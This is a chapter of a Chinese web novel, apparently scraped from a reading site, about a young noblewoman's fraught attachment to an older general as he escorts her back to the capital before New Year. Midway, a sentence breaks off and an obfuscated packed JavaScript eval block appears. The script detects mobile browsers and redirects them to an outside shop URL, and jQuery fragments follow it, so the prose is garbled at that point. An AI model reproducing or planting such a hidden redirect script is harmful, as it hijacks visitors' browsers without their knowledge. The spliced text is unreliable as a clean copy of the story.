78. 探究
作品:《爱上万人迷他爹》 第二日清晨,雪势稍歇,温寂带着司商,收拾了简单的行装,便跟着郗崇的队伍离开。
来的时候是这些人,离开时依旧是这些人,只不过两月的时间,却发生了那么多事情。
车轮碾过官道上的积雪。温寂掀开车帘的一角,望向窗外向后掠去的覆着皑皑白雪的田野。
还记得来的时候,她还在满心琢磨着书页上那个动手脚的人是谁,没想到如今答案显现出来,反而让心情更加郁郁。
“该你了。”
司商的声音又在车内响起。
温寂回神,目光落在黑白纵横的棋盘上,有些散漫地随手摸起一枚棋子,放了上去。
……
一切似乎又回到了最初。
马车停在一处别院外,温寂下了车,抬眼便见郗崇已经站在了前面。
温寂这两日偶尔会陪他下一局棋,像来的时候一样,只是如今她心底却悄然滋长出了贪念。
而在苍岚山那段日子里,她将那份带着野心的试探表现得出格。可下了山,她反而不知道该如何发挥了。
或许离京城越近,他们两个的身份反而变得更加明显,再难用模糊的男人与女人这样简单的关系这样去界定。
又或许温寂被对长公主和丞相的猜测折磨着心神,竟连带着让她对仅仅是长辈的郗崇也开始有些不想去赌失去的可能。
离京城已经不远了,算算日子,或许他们真的能赶回去过年。
正当她思绪纷乱的时候,侍卫上前,恭敬传话道,“大人有些事务需在此处理,请小姐与公子在此暂住两日,事毕后再一同回京。”
温寂点点头应下。她甚至暗想,不回都行,反正现在不想看到丞相那张脸。
别院显然是精心打理过的,为她准备的住处陈设雅致,比驿馆不知道要舒适多少,案头摆放着几样精巧的玉石玩物和嵌螺钿的小匣,衣柜里还备了几套质地款式上好的衣裙。
晚上的时候,郗崇遣人来唤温寂与司商一同用饭。
温寂其实觉得郗崇挺会带孩子的,至少司商对他印象不错。
念头一起,便又想到郗绍,郗崇军务繁忙,都没怎么亲自教导过他,她有时候都觉得郗崇是不是往她身上倾注了本该给郗绍的亲情。
想想竟然有一丝微妙的不安。
但郗绍成长的那样好,那么正直怜弱的一个人,自己抢了他一点东西,他应该也不会介意吧。
……
吃完饭,郗崇告诉他们,别院后面有汤泉,侧畔有湖可以垂钓,另外别院里也设有书房,茶室,如果觉得闷了,可以让仆从引路去游玩。
温寂不知道郗崇留在这里究竟要处理何事,但看情况,似乎也并不是十万火急。
但她也没有去逛,只去书房随意拣了两本书,便回了自己房间。
如果还是在苍岚山上,她或许会揣摩他是不是会去泡汤泉,去做一点惊世骇俗的尝试。可这两日却实在有些承受不了再被他拒绝了。
……
别院所在的地方环境清幽,并没有下雪。
书房内,郗崇正批阅几份从京中转来的公文。
陈武敲门进来,禀报道,
“将军,温姑娘一直待在房中看书,没有出院走动过。”
郗崇笔下微顿,未抬头,“去问问她,有没有什么想做的?”
“差人问过了,姑娘只说并没有特别想做的。”
陈武顿了顿,随口揣测道,“临近京城,姑娘可能是有些近乡情怯,想回家了。”
郗崇闻言,深邃的眼底有什么情绪在刹那间掠过。
他面上神色未改,放下笔,将公文稍作整理,声音平稳道,“让她明日过来见我。”
……
次日,温寂便被叫去了郗崇的书房。
她换了身别院里备下的藕荷色绣玉兰纹的衣裙。对着镜子照了照,还是上京里一位沉静端庄的贵女。
轻轻叩了门,得到应允后推门而入。
郗崇正坐于宽大的书案之后,手中并未执笔,像是在专程等她。
温寂走到书案前,规规矩矩地行了一礼。
郗崇目光在她身上停留了一瞬,从案上拿起一个锦红色的小封,递了过来。
“这是什么?”
温寂好奇,伸手接过。
她拆开封口,一枚金坠子便从里面滑落到了掌心。
是一只雕工极为精巧的幼狮,不过拇指大小,却连鬃毛的卷曲,爪子的肉垫都刻画得细致入微,上面镶着细小的宝石。
温寂有些喜欢,指尖抚过冰凉的金属表面,唇角不自觉地弯起一点弧度,抬眸望向他,“是给我的压岁钱么?”
“嗯。”
郗崇应了一声,目光落在她显得有些欢欣的眉眼上。
“多谢大人。”
温寂将那金狮拢在掌心,那一点凉意便很快被肌肤温暖,“只是,离过年还有好几天呢。”
面前的男人开口道,“除夕前会送你回相府,提前给你。”
他的声音平静无波,温寂的笑意却僵在了眼底。
她掩饰般垂了眸,轻声道,“大人事情办完了吗?”
郗崇嗯了一声,沉声道,“丞相应该也盼着与你团圆。”
温寂睫毛颤了一下,暗想,丞相哪里盼着和她团圆,她也一点都不想看到他。
事实上温洛不在,母亲有长姐和其他亲眷陪着也不会特别思念她。
她还以为他在这里停留是想和她一起过年呢……
可为什么把她从云城接来又送走,全都直接替她做决定呢?
她的眼神黯了黯,心中不受控制的替人下了结论。
其实是他自己也急着回去吧…
毕竟郗绍对他来说还是更重要是吗。
指尖无意识地抠弄着金狮上镶嵌的宝石边缘。
温寂想,亏她还自作多情的觉得对郗绍亏欠,但事实上晚辈可以有那么多,但世子只有一个,他真正能给郗绍的东西永远都不会给她。
心底带着恶意的猜想来得毫无道理。
可是爱也舍不得给,宠爱也要排到后面……
无论是哪种意义上的看重,她似乎都不是独一无二的那个……
“你在想什么?”
低沉的声音响起,带着迫人的穿透力,立马惊的人清醒过来。温寂簌然抬头,便对上了郗崇那双幽深难辨的眼眸。
似乎下一刻心中所有的想法就要无处遁形。
她一瞬间就收起了所有不合时宜的情绪,反而依恋似的吐出了句有些复杂意味的话来,“如果您是我父亲就好了。”
话音刚落,她自己似乎也惊觉这话说的不妥,立刻垂下了眼帘,显得有些尴尬。
郗崇静静地看着她。
面前的少女,比郗绍还要小几岁的年纪,抛开他欣赏的那些暗藏锋棱的心性不谈,单论容色与出身,也都是一个足够好的贵女。
他沉默片刻,忽然问了一个看似突兀的问题,
“绍儿送你的那条链子,还戴着吗?”
温寂抬眸,她带那条链子不过是想接近郗绍,现在自然不会带了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852047|186864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
她摇摇头,道,“没有,相府的女儿,不至于每天都戴着同一条链子吧。”
想了想,又轻声补充了一句,
“不过我会好好收着的,毕竟是大人亲手挑的。”
她反问他,目光里带上一丝探究,“大人忽然问这个做什么?”
郗崇迎着她的视线,语气却平淡得仿佛只是随口一提,“没什么。”
他略一停顿,仿佛斟酌了一下词句,才缓声道,“我与远之是旧识。你若愿意,可将我视作与他一般的长辈。”
温寂笑了笑,那笑意却不达眼底。
她半开玩笑道,“如果真是这样,那我和您就无话可说了。”
……
温寂终究还是收拾了行礼,在除夕前一日,被郗崇送到了京城外。
她换回了相府的马车,两人并不会一起入城。
寒风萧萧肃肃,郗崇牵着自己的马,玄色大氅被风吹的微微拂动。
温寂站在马车旁,玉玉婷婷的立着,鬓发有些微乱,她仰头望着他,轻声道,“虽然早了一日,但是希望大人新年安康。”
想了想,又装作真诚道,“大人许久未在京城过年了,世子应该也十分想念您,除夕的时候,或许我们还能看到同一片烟花。”
郗崇沉默了片刻,锋利的眉眼低垂。
他的眸光在少女看似平静的面上停留了一瞬,声音低缓的开口,“你若是喜欢烟花,国公府里还有很多,我让人给你放一些。”
温寂笑了笑,拒绝了,“世子中秋的时候放过,看过一次就够了。”
她伸手,轻轻抚了抚郗崇座骑光滑的颈毛,低声道了句再见,却没有对马的主人告别。
郗崇的目光落在她抚摸马匹的手上,忽然道,“大宛那边会送一批良驹过来,等到了我给你留一匹性情温顺的。你平日若有事,可以去上次那间货铺找我。”
不知道为什么,两人似乎都没有将他们相识这件事摆到明处的意思。
温寂的指尖从马毛上收回,视线重新落回郗崇脸上。
她看着他,语气显得有些随意又有些认真,“大人别对我太好了,我很贪心的。”
但其实她也没有真的主动向他索要过什么东西,一切都是郗崇给她,她便欣然接受,并做出喜欢的样子。
她唯一表现出想要的,而郗崇却没有给。
郗崇抬手也抚了抚马的鬃毛,道,“你可以再贪心一点。”
温寂唇边笑意真切了几分,“什么都可以吗?”
郗崇声音温和,“也要是我能做到的。”
温寂却没有得寸进尺了,她点了点头,应了一声好。
……
马车远去,消失在官道尽头,郗崇周身那股和缓气息也渐渐敛去,恢复成一贯的冷肃沉凝。
他站在原地未动,眸色深沉,不知在想什么。
陈武上前,询问道,“将军,我们是否也该准备入城了?”
郗崇翻身上马,声音听不出情绪,“去查一下,中秋夜,绍儿去了哪里。”
陈武闻言,略感诧异,随即回道,“哦,此事属下倒是知道一些。”
“听晏将军提过,应该是和温姑娘和她姐姐,还有晏家那两个孩子,以及几位朋友一同出游。因晏家姑娘想看烟花,晏家那小子便托世子安排了。”
他小心观察着郗崇的神色,“将军,可是有什么不妥?”
郗崇握着缰绳,寒风拂在他棱角分明的面容上。
他的目光投向京城方向,淡淡道,
“无事。”

